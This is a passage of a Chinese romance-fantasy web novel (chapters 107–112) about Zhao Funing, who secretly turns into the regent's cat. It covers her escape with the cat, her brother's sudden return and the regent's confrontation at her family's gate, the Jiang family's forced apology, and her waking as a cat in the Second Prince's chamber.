福宁准备妥当,与阿婵上了马车,同赵叔道:“赵叔,我去茶馆听戏,半日就回。”
交代清楚,差使雇来的车夫出发,但没有去茶馆,而是往城外去了。
没有走得太远,有了上次的教训,福宁还是很担心京郊治安的。
左右她出城不是真游玩,只是防止谢珩玉寻到自己罢了。
阿婵看着她怀中之物,弱弱道:“小姐,虽说被摄政王寻到会说不清,可您一跑,万一再被寻到,岂不是跳过黄河也洗不清了?”
“别怕,就半日。”福宁就等半日,看谢珩玉会不会寻到赵府。
等半日后,她就想法子把小福神不知鬼不觉地送回去。
阿婵闻言,也只能陪她冒险。
中途小福醒了,从披风里冒出头来,看见是她,脑袋一偏,用左侧的脑袋来蹭她。
将早晨沾染上的奶糕屑全部还给她,“喵呜~”
然后一个劲在她怀里撒娇打滚,试图把脸贴到她的脸上。
第107章 哥哥一点都不稳重啊?(新人物登场)
福宁一边摸它,心里一边想着,如果谢珩玉真的去她家找了,她该怎么办?总不能真的嫁给他吧。
可他是摄政王,如果他挖空心思要整她,她能怎么办。
跑吗?
带着小福跑。
不然,她一到夜晚又会落到他手上。
福宁面色凝重,小福抱着她亲了又亲。
阿婵感慨,“怪不得摄政王喜欢呢,这小猫的确招人稀罕。”
福宁回过神,想着出城也有一个时辰了,便差使车夫往城内去,但并不进城,只停在城门外,再命阿婵回城打听一下,摄政王府的动向。
阿婵看着自家小姐心虚的样子,感觉小姐怀里的猫,更像是小姐偷来的。
阿婵速度很快,一刻钟的功夫回来了。
“小姐,奴婢打听了,摄政王府却有在寻猫,还没寻到,没去赵府。”
闻言,福宁放心了。
看来她完全是多想了。
也对,她和小福的秘密这般隐秘又神奇,谢珩玉怎么可能会知道呢!
她不用想着逃了。
松口气的同时,福宁也在想如何将小福神不知鬼不觉地还回去。
就在这时,城内响起阵阵马蹄声,听声由远及近,像是要往城外来。
福宁刚放心的心又提了起来,“什么声,谁来了?”
这阵仗,听声就不小。
“不会是摄政王寻来了吧?”阿婵刚上车,又欲下车观望查探。
福宁听她这一说,神色一凛,还真有可能!
说不准谢珩玉没去赵家寻找小福,就是已经得了她出城的信?
不好!
“快走!”福宁将阿婵往马车里拽,一边与马夫道:“快,往城外去。”
马夫狐疑:“哪头啊?”
福宁:“随便哪儿,先走!”
马夫抓紧缰绳,却没有动作,东张西望瞧了瞧,最后放下绳子跳下车,不干了,“是有官兵追你吧!我可不敢给你驾车了!”
放下话,马夫就跑了。
福宁又惊又急,外头雇佣的临时马夫真是不靠谱!
紧要关头,也没法与逃跑的马夫解释,她只能自己上了,于是将小福往阿婵手里一放,就跑到车外。
福宁也没驾过马车,这还是第一次。
好歹见别人驾过车,自己学着样,拽进缰绳,光是调转车头都使出了吃奶的劲儿,眉目皱起表情扭曲。
好不容易让车头对准城外的方向,又急得往马屁股上抽了好两下。
马儿才动身窜出去。
车轱辘嘎吱嘎吱地滚动在沙泥地上,后头阵阵马蹄声已然出城,福宁没敢往后头看,嘴里喊着“驾驾驾”,人都快站起来了。
“小姐要不还是奴婢来吧。”阿婵提议。
福宁没回答,风迎面吹来,她的发丝迎着风往后飘荡,慢慢地,她寻到了技巧,没了起初的惊惧,显得得心应手起来。
后知后觉地,马蹄声远了,她中途探头往后看了眼,见骑马的那一行人往另一处去了。
她看不清那伙人究竟是不是谢珩玉的人,但能分辨出非富即贵,谨慎点总是没错的。
故而放缓速度,没有停下来。
阿婵:“小姐,咱们好像安全了。”
福宁点点头,准备在溪边停下歇会儿,由于刚才太紧张,这会儿,脚后跟一垫起就抑制不住地发抖。
奈何天不遂人愿,心刚安定些,就叫她看见一个,不可能看见的人。
不远处,一男子背着包袱,正在竹林中穿梭,像是躲着什么人。
随着男子的走近,福宁的眼睛眯成了一条缝,只为让自己看的更清楚些。
她很怀疑是自己看错了。
还是阿婵先给予肯定,“诶?那人……怎么长得像大公子?”
福宁抬手,精准地覆盖在阿婵嘴上,“不,不是像。”
可是不对啊,大哥不应该在邕州书院吗?
怎么突然会回京?也没有提前给家里打招呼啊?
而且大哥不是说要外出游学?她前阵子还给寄了钱去呢!
按照邕州离京的距离……大哥这会出现在京郊,那是何时出发的呢?她寄去的钱,他铁定是没有收到的。
怀着疑问,福宁“驾”地一声,驾车朝大哥冲去。
对面,还没瞧见她的青年低着头,手里拿着根尾巴草,一听动静,还没抬头,就下意识地扔了尾巴草往山上跑。
不是,跑啥呢?
福宁满面疑惑,喊了一声,“哥!”
后者反应慢一拍,反应了一会儿,才停下步子,隽秀的脸上有了胡茬,一看就是连日奔波来不及收拾自己,他回头对上赵福宁的脸,愣了两瞬,“赵福宁?”
称呼有些生疏,福宁听见了,下了马车朝他走去,“哥,你怎么……这副样子?”
赵凫泽穿着一身淡青色的云锦华服,下摆染了不少灰尘,他低头看看自己,尴尬地摸摸后脑勺,“我想回家着急呢,一路跑来……啊不是,本来有马的,中途发生点小意外。”
福宁看着活生生的哥哥忽然出现,还像在梦里,“你怎么会突然回来,你不是要去游学吗?是听说了家里的事,所以回来了?”
“游学?”赵凫泽怔了怔,随即煞有其事地点头,“对,但不是家里发生了些事吗,我这就回来了。”
福宁叹息,“是发生了很多事,不过现在大皇子已经被赦免罪行,听大皇子的意思,咱爹应该也快要复职了,哥哥不要太担心,要顾好学业。”
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>赵凫泽看着她比自己瘦小,却还在操心自己,眉头都拧直了,拍拍她的肩,“福宁,咱家出事的时候,你可以去寻二皇子,不用自己担着。”
福宁一下子就联想到了他信中的“锦囊妙计”,当时不以为然,现在深信不疑,她点点头,“二皇子确实是靠谱的。”
语罢,又想自己当初随着五百两寄出去的,还有对二皇子的不满之言。
“哥哥没收到那五百两吧?”那应该也没看见那些话。
她问完,赵凫泽又沉默了片刻,才问,“你何时寄的?我得了信就从邕州赶回来,没收到。”
福宁挠挠头,总感觉哪里不对,“早知道我晚些寄了……不对啊,家里出事也没多久,你得了信赶回来,你赶路还挺快的。”
赵凫泽面上一僵,笑得勉强,“福宁,我们快些回家吧,这荒郊野外的,我都饿了。”
福宁站住没动,眉头皱起,“哥哥在外面读书,许久不回来,都跟我生疏了。”
赵凫泽勉强的笑都快维持不住,喉结微动,轻咳一声,“哪里的话,哥哥怎么会跟囡囡生疏呢?”
他仿佛是说了句多羞耻的话一般,都不敢多看她的眼睛,偏开头连耳后都泛了红。
此时,阿婵抱着小福跳下车,“大公子安。”
赵凫泽见着小福,就跟见到救命稻草似的,他两步上前稀罕道:“这是你新养的猫?还怪可爱的。”说着就要上手。
顺利地让福宁不再纠结于称呼的问题,也让她重新正视自己目前的困境——
该怎么把小猫送回去。
对自家哥哥,总没那么多场面话,她看着哥哥抱起猫,直接挑重点说:
“这是摄政王的猫。”
肉眼可见的,赵凫泽手一抖,差点没将小福给摔了。
福宁又道:“因为一些意外,被我捡到了,可摄政王正全城寻找它,我怕叫王爷看见我与猫在一起会怀疑是我偷了他的猫,故而带着猫出城躲一躲,我现在得想办法将它悄悄送回去。”
“哥哥你聪明,帮我想一想。”
“聪明”的赵凫泽摸着猫头,左右张望一眼,道:“走吧,寻个冤大头。”
“啊?”福宁目光惊骇,怀疑哥哥在邕州书院没学着好的。
赵凫泽见她不动,又咳一声,“我都跟你说了,自己解决不了的事就去寻二皇子,有这个人脉关系在,你要学会利用,别什么事都自己担着,懂吗?上车。”
“……”福宁跟上他,“可是这个事情,我怕解释不清楚,万一二皇子也以为是我偷了猫,毕竟他跟我也没有什么关系。”
赵凫泽不以为意,“就算是你偷的又怎么了,看见猫可爱,偷一下,怎么了?”
第108章 摄政王追到家门口了
福宁上车的腿顿住,“额,但……”
赵凫泽突然意识到了什么,“你自己驾车出来的?家里的人呢?”
不等福宁解释,消失的马蹄声又重新自后方响起。
这次是往这个方向来了。
福宁心想完了,估摸着是摄政王府的人往那边找没有,就换方向来了。
“哥,摄政王府的人来了!”
赵凫泽却没有她这样慌张,“不是摄政王府的,王府的马蹄声不一样。”
闻言,福宁冷静下来,她还没分辨过马蹄声有什么不同。
随即,她探出头去看。
由远及近的一行人,确实是冲着自己的方向来的,不是摄政王的人还能是谁?
等再近了,就能分辨出,的确不是谢珩玉的人。
为首的人穿着玄色常服,也难掩住他与众不同的气质,与身后的人完全不一样。
谢燎的一双桃花眼并无风流之色,当下只有肃穆,当视线扫到福宁时,他淡漠的眉头拢了拢,“赵小姐,你怎么——”
话到一半,车内的赵凫泽就挥手,嘴角带笑,“我妹妹来接我回家的,好久不见啊殿下。”
福宁坐在这里,通过开着的车窗,视线在两人身上徘徊,她不语,只是附和地点点头。
但她能看清,谢燎的脸色更难看了。
他在马背上,沉重道:“学业未成,为何回来?”
赵凫泽:“只回来一阵子,看看家人,这都到了家门口了,殿下总不能将我赶走吧。”
福宁听这话,更不对劲了,二殿下为什么要赶哥哥?
谢燎不语,看了他一眼,似是无奈,拢起的眉头透露了他的焦虑。
赵凫泽突然伸手,将小福从车窗递出去,“殿下,帮忙送一下回摄政王府吧。”
谢燎没接。
赵凫泽又道:“我妹妹闯了祸了,据说王府在寻这猫,要是被摄政王知道是我妹妹偷了——”
接了。
谢燎将猫一搂,放在身前用披风盖住,低声,“知道了。”
福宁礼貌地道谢,“多谢二殿下伸出援手。”钻回马车就对自己哥哥说,“不是我偷的!”
“好好好,”赵凫泽压根不关心是不是偷的,忽然拉住她的手腕,“妹妹,我们回家吧。”
车外的谢燎瞥了眼两人肢体接触的部位,眉头皱得更深,欲张嘴说什么,又闭上了嘴。
最终什么都没说,率着人马离开。
到最后,福宁也不清楚二皇子跑城外来是干什么的,怎么就回去了?
再看自家哥哥,他松口气靠在车壁上休息。
那车谁来驾呢?
福宁就这么看着他,他好像忘了她们三人中须得有一个人来驾车似的。
下一瞬,就有一个侍卫在外头道,“赵小姐,赵公子,殿下让属下来驾车,送你们回去。”
赵凫泽仿
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佛早有预料一般,气定神闲地应了,“嗯。”
福宁侧头看他,神态自若,完全是一副理所当然的模样,她心底诸多疑虑,哥哥这次回来,不仅看着比从前跳脱了些,脸皮好像也厚了很多。
难道是出门在外历练出来的?
算了算了,她在家不易,他在外面也不容易。
福宁收起胡思乱想。
马车一路行驶,入了京城,一路上,越是接近赵家,福宁的眼皮跳得越是厉害,她没作他想。
穿街过巷终于抵达,马车甫一停下,阿婵便将车门打开,第一个下车。
阿婵方站定,正欲朝马车内伸手,偏头时似陡然看见了什么洪水猛兽,脚险些踩空,压低的声音有些发抖,连呼吸都窒住了,“小,小姐……”
福宁尚不知阿婵在慌些什么,弯腰钻出马车,半个身子已经露在车外,一边朝府里喊着,“赵叔!哥哥回来了,你快去与告诉我爹娘,让他们——”
她说话时,嘴角翘着一看就很欢喜,可当她抬眸,视线蓦然对上迎面一行人,话音瞬间戛然而止,没出口的话就这么咽了回去。
由于出乎意料,福宁怔愣住的两三个瞬息间,左手扶着车门,弯曲的腿既没有迈出来,也没退回去,整个人就跟被点住穴位似的。
对面几丈距离,谢珩玉一袭黑色锦袍,身前的金丝**纹栩栩如生,在阳光下耀眼又张扬。
第109章 你那乖巧妹妹,会咬本王
许是他性格所致,又一惯冷着一张脸,显得他衣上的那条**气质随主,更添几分可怖。
谢珩玉坐在马背上,面无表情地与她四目相对。
没人知道他是寻猫时路过,还是刻意奔着赵府来的。
如果是后者……那福宁白高兴了。
但基本就是后者了,毕竟世上哪有这般巧的事,他到哪里找猫不好,要来赵府附近。
再说了,道路很快,她的车很小,不至于堵着对方的路,让对方停下半天不动。
哎,他铁定是知道她会变成小福了。
今日的测试有了结果,福宁内心沉重,脸上的笑容也早就消失不见,腿屈得有些酸,肢体比脑子先做主决定,往车内退了退,再退就要回车里了。
“赵小姐,”谢珩玉漫不经心地开口,“本王问你的事,你考虑得如何?”
做摄政王妃的事吗?
他若下决心,她的答案重要吗?
福宁的手紧了紧,精致的五官都快要皱到一起,此时,被遗忘了半晌的赵凫泽探头追问她,“什么事?”
谢珩玉的目光移到了她身边的青年身上,眉目清秀端正,倒不似阴险狡诈之人。
饶是谢珩玉不喜赵应的为官之道,也不得不在内心承认,赵家这一双儿女,样貌不差。
相由心生,从这对兄妹的眼睛就能看出,这对兄妹不是奸恶小人。
不过……赵福宁的哥哥并不像传闻中那般稳重付有才气,还有那双眼睛,竟让他觉得眼熟。
谢珩玉的眉头不露痕迹地轻轻蹙了蹙,同时忽略了赵凫泽的疑问,从始至终,都没打算为其解答。
福宁心虚又快速地对赵凫泽道:“哪有什么事,没有事。”说这话,她都不敢看谢珩玉。
赵凫泽不信,“没事?”反问后,视线转向谢珩玉,见后者没看自己,而是似笑非笑地看着福宁。
……赵凫泽要是信没事,那他才是真的有事了。
他皱起眉,板起脸来,伸手拉住福宁的手腕,将她拉到自己身后,自己挡住谢珩玉的视线,对方看自己,果然表情都冷淡了。
赵凫泽哪还有什么不明白,谢珩玉看上妹妹了!
这哪行?
这不行!
“哥哥你干嘛,我能解决。”福宁怕哥哥离京太久,不清楚摄政王的影响力,担心他触怒对方。
“你能解决什么,回去坐好,”赵凫泽命令道,看向谢珩玉先是行了一礼,后道,“小妹尚未出阁,且有婚约在身,不方便与外男相见,王爷若有吩咐差遣,请移步府内与家中长辈商量。”
一个维护妹妹的兄长,或许是个好兄长。
谢珩玉淡漠的脸上,不知是因为想到了什么,勾起一抹意味深长的笑,他目光偏移,透过赵凫泽的身侧,捕捉到了车内那颗黑黑的脑袋。
想到赵凫泽口中这个尚未出阁、不方便与外男相见的乖巧小妹,已经在众人不知情的数个夜晚,化作一只小猫,偷他的黄金睡他的床,甚至今早,还爬到他的被窝里咬他……谢珩玉就忍不住,轻笑一声。
赵凫泽见他不说话还笑话人,有点恼了,“王爷若没有差遣——”
“有,”谢珩玉丝毫不客气,语气带着试探,“本王的猫丢了,令妹曾帮本王照看过猫,熟悉小猫的秉性,本王想请赵小姐帮着一起寻一寻。”
赵凫泽当然不能答应,那小猫可不就是妹妹“偷”的吗,他现在都有些奇怪妹妹和摄政王的关系了。
说摄政王一厢情愿吧,那怎么小猫会跑到妹妹手上?
哦!他知道了,摄政王一厢情愿,死缠烂打,故意使计把小猫放到妹妹身边,让妹妹跑,他去追吧!要不是自己回来了,恐怕追出城外的人就是摄政王了。
赵凫泽根本不怀疑赵福宁的心意,他记得她是有青梅竹马的未婚夫的。
所以他道:
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“王爷,这恐怕不妥。”
谢珩玉仿若未闻,“赵小姐可曾看见本王的猫?”
指向性过于明确,福宁的唇瓣都快被自己咬破了,她想了想,还是不顾赵凫泽阻拦,探出头来,“没见过,小福丢了,王爷还是快些去寻吧,我帮不上什么忙。”
语毕,干脆下了马车,落地,只为展示自己确实没有偷藏小猫。
谢珩玉见状,倒是真有些不知所措了。
起初小福失踪,他第一直觉便是赵福宁闹幺蛾子,问题不大,他也没有真的着急。
可当此刻,发现赵福宁的身边与车内,确实没有小福的身影,他心忽地揪紧,若与赵福宁没有关系,那小福……真丢了?
福宁朝着他的方向行了一礼,后催促赵凫泽,“哥哥,我们回家吧。”
谢珩玉的目光紧锁在少女身上,意识到自己差点又被她忽悠了。
就凭赵福宁和小福的关联,假设小福真的丢了,赵福宁绝不可能像现在这样淡然。
她该像初次见面时那样,关心小福,明明害怕他却还是忍不住看向小福,眼中装满担忧。
谢珩玉嗤笑一声,透着轻松和自嘲。
眼看着赵家兄妹进了赵府,身后白昼问,“王爷,接下来要去哪搜?”
“随便。”谢珩玉吩咐,“府里也不要放过。”
说不准待会,赵福宁就变成小福偷偷跑回去了。
他非得教训她一次不可。
“胆子养太肥,今晚让厨房做清淡的给她。”语罢,不等白昼应,策马回府。
白昼挠挠头,吩咐厨房之前,不得先找到小福吗?
王爷这么笃定小福能找到?
*
就这样,两人都知道了对方的秘密,却都默契地不坦诚相待,都不让对方知道,自己已经知道了对方的秘密。
(作话:福宁的秘密是自己会变猫。谢珩玉的秘密是,知道对方会变猫。)
第110章 江家上门道歉
赵府。
赵应和容婉得知儿子归来,先是一惊后是大喜。
自打赵凫泽去邕州书院求学,多则半载,长则一载才回来一次。
眼下未近年关,就看见儿子回来,他们喜不自胜,遂也不责怪他突然归家,反而是让耿嬷嬷和赵叔出去买些好酒好菜,晚上一家人好吃个丰盛的团圆饭。
吩咐完,又拉着赵凫泽坐在厅堂里,好一顿唠叨,嘘寒问暖。
赵应沉吟片刻,眼底掠过一丝深重的后怕,“还好形势稍见明朗,若还是前几日那般光景,你此番归来只会深受其累,往后若家中还发生这般危险的事,你就不必回来,留在邕州也好接应你妹妹。”
“还有下次?”赵凫泽一点都没感动。
容婉轻打赵应手臂,对儿子笑道:“你父亲瞎说,你好不容易回来,不聊这些不开心的事。”
福宁也不插话,坐在椅子上听着,时而点点头。
此时,赵管家匆匆跑进来,“老爷,夫人,寿安伯夫人来了,带着伯府的二小姐来道歉。”
前脚容婉还说不聊不开心的事,现在,让人不开心的自个儿倒是上门了。
“寿安伯?”赵凫泽正回忆寿安伯是哪号人物,“是姓江的那户?”
赵应已经愤怒起身,“不见!让她们滚出去,到了这个地步,也没什么好维系的了!”
“诶!”赵管家听了,准备去挡人。
赵凫泽不清楚赵家与江家有什么恩怨,遂沉默着不说话,省得说错。
不过很快,容婉注意到他沉默不语,想到最近发生的这么多事,儿子都不知道,便主动道来,“泽儿,你可别觉得你父亲不通情达理,实在是江家作恶多端,多行不义!”
赵凫泽顺势问,“怎么回事?”
容婉看了眼女儿正翘着嘴巴,继续道:“那江二与你妹妹从小到大的交情,却暗藏算计,你父亲被革职后,寿安伯顶替了你父亲的职位,这原本也无可指摘,但那江二竟觊觎崔兰亭许久,谁人不知崔家与我赵家有婚约?江家倒好,为了一个崔兰亭,记恨你妹妹,屡次栽赃陷害!这种人,心如蛇蝎,离得近了呼吸都不顺畅!”
赵凫泽对崔兰亭倒印象深刻,长平侯世子,白面书生,京中不少姑娘都喜欢这一款,“哦?那……崔赵的婚约?”
赵应一盏茶重重放在案上,愤慨道:“江二恶毒,崔家也不是什么好东西,以前还当他对囡囡是真心的,一出事他前脚来退婚,后脚就去江家提亲,不过就是看江家要与摄政王结亲,想巴结江家!怪我从前识人不清,往后这两家,都不能再来往了!”
对赵凫泽来说,这几句话信息量过大,也不知道惊讶于崔家品行多些,还是惊讶于江家和摄政王结亲多一些。
那也就是说,赵福宁现在是没有婚约了,刚才在门外,摄政王对她的态度,显然跟对别人是不一样的,赵凫泽作为一个男人,看得出来,既然女未嫁,男未婚——
等等。
不对啊。
赵凫泽皱起眉,“摄政王都要成婚了,怎么还跑来招惹——”
囡囡二字没说出,福宁就紧张地制止:“哥!别胡说!”
赵凫泽果然不说了,既然当事人都不想他掺和,那他也没必要多嘴。
赵应追问,“招惹什么?”
赵凫泽摇头,“没什么,我的意思是,**那么坏,摄政王怎么不挑。”
赵应:“陛下已经下旨,解除了摄政王的婚约。”
容婉本来不是幸灾乐祸的性格,此时却忍不住,“活该,这下崔家定是又在想如何解除婚约了。”
赵凫泽视线悄悄转向赵福宁,她偏着头,他看不到她的神色,以为她在难过,他沉默须臾,开朗道:“一个重利的书呆子,不稀得要,改日哥哥给你选个好的。”
赵应与容婉互视一眼,都从对方眼中看出惊讶。
外头传来尖锐的女声,“让我们进去!别拦着!”
江夫人带着江月娇就这么硬生生闯进来府中,哪有半点道歉的诚意和态度。
赵家辞退了下人,单凭赵管家根本都拦不住带着人手来的**母女。
“真是放肆,”容婉向来温柔的人也止不住
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怒气,“江家究竟是什么教养!挨了廷杖不知在府中静思己过,反倒跑来我赵家撒野?!”
话音未落,江夫人已拽着面色惨白、步履踉跄的江月娇疾步闯入正厅,后者看样子并非自愿来的。
带来的江家家奴守在正厅外,这反客为主的阵仗若让外人见了,倒还真要以为此地是寿安伯的地盘了。
不过,擅自闯入的江夫人脸上并无嚣张气焰,站定后,她的眼神扫过赵家的一家四口,露出近乎求和的笑容。
只是那笑意未免太过生硬仓促,实在有些尴尬。
赵应不客气道:“江夫人,我们两家不是能串门的关系了吧!你现在若不走,我可就要报官了!”
江夫人好不容易闯进来,哪里能走,她目光聚焦在赵凫泽身上,将他当做一个化解恩怨的突破口,熟稔道:“呀,凫泽回来啦,呵呵,这些日子发生了太多事,我们两家误会颇多,我只是想趁着今日将误会解释明白,以免两家恩怨越积越深……凫泽,你说句公道话,从前我和你江伯伯对你们兄妹不好吗?”
江月娇站在江夫人的身后,低着头,没有看任何人。
赵凫泽不语,只看向父母。
福宁忍不住冷笑一声,与母亲的冷笑声默契地合在一起,“江‘伯母’?你怎么有脸将过往种种说成是误会?”
“你——”江夫人转向福宁,眼中一闪而过的恼怒,及时收住,想到眼前的赵福宁抢了自己女儿的姻缘,往后很可能攀上摄政王的高枝,自己纵使再不甘,也得忍着,当下是化解两家仇恨要紧,遂不得不温声对她道,“福宁啊,伯母承认,是娇娇心生嫉妒,瞒着家里屡次想陷害你。”
容婉甚至不想正眼看她们,喉间溢出冷嗤,“你既知道,还敢来?”
江夫人急忙分辩:“娇娇做的事,一直瞒着我们,我与我家伯爷不知情,但凡知晓,也不能让她一错再错。”
容婉面罩寒霜,“你家这姑娘固然恶毒,可你们做爹娘的又何尝清白?她与崔家的婚事,难道不是你们点头应允、乐见其成的?”
第111章 江月娇昏倒在赵家
“这……”江夫人一时语塞,眼神不由自主地往福宁那边飘忽了一瞬,复又强撑着道,“娇娇觊觎崔兰亭,自是娇娇不对,可这婚事是崔家主动上门求娶,并不是我们江家招惹的啊,再者说,你女儿也不是没捞到好处,摄政王为了你女儿不惜和我家娥娥退婚——”
“你胡言乱语什么!”赵应面上只有被疯狗攀咬的恼怒,压根不信江夫人的鬼话,“你女儿在宫里做了什么,外头都传遍了,品行不端被退了婚,竟还怪到我家囡囡头上,我家囡囡和摄政王八竿子打不着,你这毒妇又想害我囡囡是不是!”
赵应一个文人,气急了左右环顾厅堂内的桌椅陈设,想寻件衬手的能当武器使用的家具。
争执矛盾随时都可能升级。
然,江夫人却是真的想好好说清,化干戈为玉帛,她一把将江月娇拉拽到前面,斥责道:“道歉啊!你自己犯的错,自己恳求原谅!”
江月娇神色空洞,被推到前面,仍旧没有抬头,她的身体微微屈着,挺不直似的,身后裙摆上慢慢透出血红色。
江夫人看她这个罪魁祸首,连累了一家人,却摆出一副受害者的模样,气不打一处来,“你觊觎赵福宁,先是在宴会上陷害她淹死摄政王的猫,后又冤枉她偷了摄政王的黄金,害人未遂,你又指使丫鬟去城外雇佣**,**——”
“等等,”赵应越听,眉头拧得越紧,直到听见**,心一咯噔,看向女儿,“是什么时候的事?什么**?”
福宁张张嘴,面对父亲的质问,有丝丝心虚,不敢直视,轻描淡写地说:“就前阵子……不过我没事,一点事都没有,不想让你们担心,就没跟你们说。”
“胡闹!”赵应要是眼神能**,**母女得死一万次,“报官!这事非得报官不可!”
江夫人讶异一瞬,才知赵应夫妻竟是不知情的。
报不报官,江夫人其实无所谓,因为报与不报,结果没什么两样。
昨日,皇帝的圣旨下达,她们母女三人回了伯府后,寿安伯发了好大一通怒火,祖上传下来的爵位,到这一代竟作成最后一代了,再也无言见列祖列宗,能不生气吗?
而祸端就在平日引以为傲的两个懂事的女儿身上。
可寿安伯还能如何,两个女儿被杖刑,身子说不准要落下病根,定是不能再请家法的了,更残酷的是,名声尽毁,再想拿两个女儿去攀附权贵,是不可能的了。
寿安伯夫妇争执又商量,商量又争执,耗了一晚上才想通,日子总要继续过的,只能想办法等时日过去,外头风声淡了,再将女儿远嫁,之后努力些看能不能积攒人脉,重新往上爬。
岂料,今儿一大早,摄政王府的猫丢了,摄政王找猫的时候经过伯府门前,也不知道他是临时起意还是故意,派了下属进江家知会了一声,知会的便是江月娇前几日于京郊行恶之事。
可怜江月娇短短一月内,受刑两次,旧伤未愈又添新伤,还在床榻上暗自发誓迟早要报仇、再彻底将赵福宁重新踩在脚下。
结果誓没发完,便东窗事发了。
几日前她做下的恶事,她有忐忑心虚过,但随着风平浪静便淡忘了,以为过去了,哪知道摄政王这个时候还不肯放过她。
摄政王的手下放话,昨日惩罚是陛下给的,但摄政王殿下向来公正,**未遂这等恶劣之事,不是打几下就能揭过的。
多的没说了,也不说解决办法。
让人分辨不清楚,他的最终目的是什么,是来下通牒的,还是来制造焦虑的。
只留寿安伯夫妇焦躁不安,寿安伯用了一夜才重拾的希望又破碎了,心力交瘁直接吐血,吐完先不请大夫,而是去见了一位从前交好的同僚。
那同僚也是户部官员,负责户籍事宜。
可
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在这多事之秋,同僚哪敢沾上寿安伯府,当下就要撇清关系,还是寿安伯送了点好物,才让对方勉为其难地答应帮个小忙——
将江月娇的户籍迁出江家。
完事后,寿安伯自己没脸来,让妻子带着庶女来赵家道歉,想着摄政王这般看重赵福宁,若能求得其原谅,或许就没事了。
若求不得原谅,反正户籍也迁出去了,这只会惹祸的女儿不要也罢!
故,江夫人不怕报官,摄政王都已经查得门清了!
江夫人推搡着江月娇,后者虚弱不堪,当即踉跄着扑倒在地,膝盖磕在地上,发出一声闷哼。
江夫人声音陡然拔高,“给他们磕头赔罪!他们若能原谅你,你便要感恩戴德,往后伴青灯古佛了此残生。”
赵家哪见过这样的场面,要不是家里人手不够,早将人驱赶出去了。
“你们闹够没有,有什么求原谅的吗!”福宁拳头都硬了。
赵应直接让赵管家去报官抓人。
江夫人见赵家人态度,语气骤厉,还是看向江月娇,“如果不原谅,我江家管不了你了!该流放流放!该问斩问斩!”
语罢,竟在众人眼皮子底下,转身走了,也不带上江月娇。
“你走啊,你母亲走了,你还留着做什么!”赵应怒斥。
江月娇还是低着头,没有起身,没有动作,一滴泪从右眼滑下,她咬紧苍白的唇瓣,面上满是**与恨意。
远远的,还传回江夫人的话音,“她已不是我江家人!你赵家发落吧!”
???
赵家一家子目瞪口呆,生气与愤怒,都没江家这操作让人无语。
福宁看看跪着的江月娇,再看看已经快没影的江夫人,“我不会原谅你的,你跪着也没用!”
容婉也点头。
下一瞬,不等赵家人发难,江月娇便朝前倾去,昏倒在厅堂中,身后鲜血淋漓。
第112章 惊天大瓜!!!
福宁见了吓一跳,“不是,你……”
赵应与容婉也是一惊,但并无心疼,“这江家就把人放这了?是要我们救吗?他们是无赖啊!”
赵凫泽看了好大一出戏,脸上冷冰冰的,“要我说,直接丢出去。”
赵应迟疑一瞬,“从咱家丢出去,十张嘴都说不清了,你们俩,一个去请大夫吧,一个去报官。”
福宁欲言又止,真的很想说,不用报,官知道。
但是看着父母严肃的样子,还是点了点头。
就这样,无处可去的江月娇住进了赵府。
福宁很不满,凭啥呀。
她的不满,赵凫泽捕捉到了,他调侃地说了句,“就凭赵家要脸。”
福宁更生气了,“那江家不要脸呗!”
赵凫泽郑重地点头。
而另一边,回了王府的谢珩玉,从下属口中得知了江家上门道歉和迁户籍的事,他并未表态。
他打算看看今晚赵福宁的态度,再做决定。
说到赵福宁,就不得不提……谢珩玉在府中等了两个时辰,小福还未归来。
直到天色渐黑,他的心开始慌了。
他摸不准,小福究竟在赵福宁那里,还是被赵福宁藏起来了,又或是——真的走丢。
谢珩玉的想法,赵福宁不知道。
她哪里会知道,白天将小福托付给二皇子,二皇子却一直没执行,反而将小福带回了二皇子府。
所以当晚她歇下,醒来发现入目的是陌生环境时,她心里是慌的。
第一猜想是谢珩玉生气她跑出去,所以将她关到新的卧房里了。
但很快,福宁的猜想不攻自破。
因为她发现,自己没睡在床榻上,她被很随意地放在了某个角落里。
楼阁内宽敞明亮,木质的地板被擦到锃亮,带**的小爪子踩在上面,几乎听不见声音。
福宁轻轻地在地板上行走,探索四周,搞清楚这里是哪儿。
“出去。”男人低沉严肃的声音自屏风后传来。
但不是跟她说的。
福宁往后退几步,绕过屏风,仰头看向男人坐在桌案前的背影。
好啊,二皇子竟然没将她送回去。
怎么想的啊?
她不明白。
谢燎身侧的侍女放下温水盆,和一块白色毛巾,垂首敛目、步履轻缓地去关掉阁楼的窗户,再慢慢退出阁楼,阖上门。
偌大的房中静悄悄的,偶尔听闻院中的树叶被风吹过,簌簌作响。
福宁迈着小步子上前瞅瞅,如果会说人话,她一定要问一问二皇子,为什么不把她送回去。
饶是步子再轻,身后有团东西窜来窜去,也很难叫人忽视。
谢燎倏然回头,对上一双圆溜溜、瞪得宛如琉璃珠子的猫儿眼,他神色一怔,似这会儿才恍然记起房中还有只猫。
这只猫看着气鼓鼓的,嘴角两侧的雪白的须随着她压抑不住的呼哧声一耸一耸地飘动。
滑稽得很。
谢燎冷淡的脸上扯起一抹极淡的笑意,低声自语,“难怪你主人愿意养你,的确不讨厌。”
福宁:……
这叫什么话呀!
不过不重要,她继续走上前,到他裤腿边,“喵~喵~”
她表现出了想回家渴望。
对方却懒得理她喵喵叫,不再看她,对着桌案上的铜镜。
谢燎慢条斯理地卷起袖子,伸手放进温水盆里,浸透毛巾,再提起,动作缓慢地将毛巾拧干。
因着他动作极慢,水声都不是哗啦啦地流,落在福宁耳朵里,淅淅沥沥得跟屋檐上淌下几滴水似的。
福宁乖乖地坐在谢燎脚边没多干扰他,屋檐上没淌水,她低着头脑袋却突然湿了。
几滴水落在脑门,她浑身一个激灵,难以置信地抬头望去,彼时元凶没有看她,只有一只作恶的手抬在她头顶,手指还甩了甩,将指尖的最后一滴水也甩到了她的脸上。
福宁同手同脚往后退出老远,防贼似的盯着谢燎,眼睛比刚才瞪得更大了。
谢燎还是不看她。
只有她看着谢燎,看着他收回手,抬起拧干的毛巾——
不是!
有毛巾为什么不用毛巾擦手,要把水甩到她身上?
太过分了!!
福宁的鼻子不可抑制地发出咕噜咕噜的声音,蓝色的眸子散发着不善的光。
就见谢燎将湿毛巾按在脖颈处,擦了擦,然后敷着。
他一边敷着,一边拿起左手边的一本书,面色淡然地看了起来。
福宁生气,福宁想报复他。
看准那个脸盆的方向,她迈步过去,先爬上凳子,再借着凳子的高度跳到桌案上。
窸窸窣窣的动静不绝,谢燎没有抬头,大抵是觉得她毫无威胁。
福宁偏要给他点小教训,不给她送回王府就算了,还把水淋到她的头上!
